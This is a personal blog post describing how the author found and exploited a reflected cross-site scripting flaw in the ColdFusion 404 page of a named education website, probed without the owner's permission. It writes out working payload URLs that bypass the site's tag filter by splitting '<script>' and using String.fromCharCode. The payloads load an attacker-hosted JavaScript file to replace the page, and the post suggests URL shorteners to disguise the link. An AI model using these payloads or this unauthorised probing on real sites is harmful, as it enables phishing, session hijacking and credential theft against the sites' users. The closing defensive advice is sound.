This is a first (as in my first REAL blog post), I will publish an essay on a exploit I just discovered. First of all, I don’t know if it’s been discovered already, or even patched, or if it’s just on this one host, but I’ll write this to show the process of finding an exploit and exploiting it. Second, a disclaimer: I have and will not use this for anything malicious, and you should not either. The information provided is purely educational and should be used for securing your sites better.
So, a friend of mine is taking a Web Mastering class in school. He showed me the site they use to take lessons, http://www.edulaunch.com/. First of all, I have nothing against the owner of the site, or the contents, but I decided to play around and see if everything’s secure (I don’t know why, habit I guess, first thing I do when I find a new site, is do some penetration tests on it), so far so good, login form escapes data correctly, and no other form data could be found anywhere. Directories are properly secured, hidden files cannot be accessed, no anonymous access to the FTP server. Ok, good, last test, how well the server handles errors, I’ll try to induce a simple 404 error: http://www.edulaunch.com/nothere.cfm, uh-oh, what’s this:
File not found: /nothere.cfm
It seems like the file name is being printed in plain-text. I’ll try something else: /<b>nothere</b>.cfm, just as I suspected, the file name is now bold. Ladies and gentlemen, we have an XSS exploit. The most common security flaw on the internet. After playing around with random URLs, I’ve figured out the following: 1) The filename (in plaintext) will only print if the string contains only Windows-valid filenames, so no colon (:), question mark (?), semicolon (;), etc. 2) The filename prints in plaintext on the title, but is escaped in the paragraph below. 3) There is some security, “exploit” tags such as <script>, <embed>, <applet>, etc are automatically changed to <invalidTag>. With this in mind, I continued to the next part, injecting the payload.
Like I said, <script> is blocked, so I used (common, I think) plan B, the <body> tag. <body onload> works just like <script>, so I changed the filename request to
http://www.edulaunch.com/<body onload=”document.write(‘<h1>Hello World</h1>’)”>.cfm
(the CFM at the end tells ColdFusion to handle the page, and thus, the errors) And bam, the page is now blank with my message displayed as the header, but that’s pretty useless. A URL can only be so many bytes long, and since we can’t use the semicolon character, we are limited to one Javascript line, and that’s no fun. What we need, is a way to include an external Javascript file (after all, this is Cross Site Scripting, XSS), and to do that, we need the <script> tag, so how do we get <script> to work if it’s being filtered out? Easy, we make Javascript write Javascript.
Instead of Hello World, our Javascript code should write another piece of Javascript code, this time in the <script> tag. But how do we do that? It’s blocked! Well, what if we break it into two pieces?
http://www.edulaunch.com/<body onload=”‘document.write(‘<scr’ + ‘ipt src=http://www.remote.com/xss.js></script>’)” />.cfm
We’re done, right? The script has been loaded? Not quite yet, remember, the colon (:) breaks it. And while we’re on the subject of pesky characters, some (and by some, I mean all major) browsers automatically change a double slash (//) to a single one (/). Well, don’t give up yet, say hello to the script kiddie’s best friend, Javascript’s String.fromCharCode() function. This function converts the ASCII code of a character to a string. Colon is 58 and the backslash is 47, so instead of http://, we can do ‘http’+String.fromCharCode(58, 47, 47), using only friendly characters. So, we can now include an external Javascript file with the following URL:
http://www. edulaunch.com/<body onload="document.write('<body><scr'+'ipt src=http'+String.fromCharCode(58, 47, 47)+'www.externalserver.com'+String.fromCharCode(47)+'xss.js></scr'+'ipt>')">
(Remember to write a new <body> tag when including your external JS if you want to modify the body later). So, now the remote server is loading our script, the rest is easy.
What I did was I took the HTML of the original home page, changed some lines, and encoded it into Javascript. I then used innerHTML to replace the body with my new HTML file.
(Link’s too long, you’re going to have to copy & paste. I can easily use a short-url service to mask the large string, and if the site is HTTPS, then the browser will show a huge green verified site logo)
So, first of all, this isn’t the web master’s fault, it’s the fault of CodeFusion’s developers at Adobe (now), and then again, it really isn’t their fault either. It’s just a simple mistake (showing in plain text a user input), but the point is that simple mistakes can have huge consequences. Again, I don’t know if this exploit works elsewhere, if it’s been patched long time ago, etc, but I know the everyone using CodeFusion from the host
http://www.enterhost.com/ are vulnerable.
Again, whoever’s reading this should use this knowledge for good. The most common bug in web sites are XSS exploits. The reason they’re so popular is because web masters often neglect them. They don’t seem to be dangerous because XSS exploits won’t touch the server (unlike SQL exploits where you can delete whole databases), and are usually hard to spot. (Like this one, who would have thought you can exploit a freaking ERROR message?) But XSS is, in fact, very dangerous, if a hacker (or more likely, a script kiddie) use XSS to write a fake login page, and send the link to the site’s users, the user will try to log on, and they would have logged all their passwords. They can send a malformed link through a chat service and steal the user’s current session. They can email a fake page to a site admin, and steal their password. Write your web apps safer, filter out user input, make sure your server software is up-to-date and don’t click on links from strangers!
EDIT: It seems like this is known for a while now: http://www.adobe.com/support/security/bulletins/apsb06-14.html
It’s weird because Adobe states that it’s fixed in ColdFusion 7 while the server that was exploitable used CF8. This shows that you need to apply updates to your software!
Comments (0)
Facebook
Twitter
Digg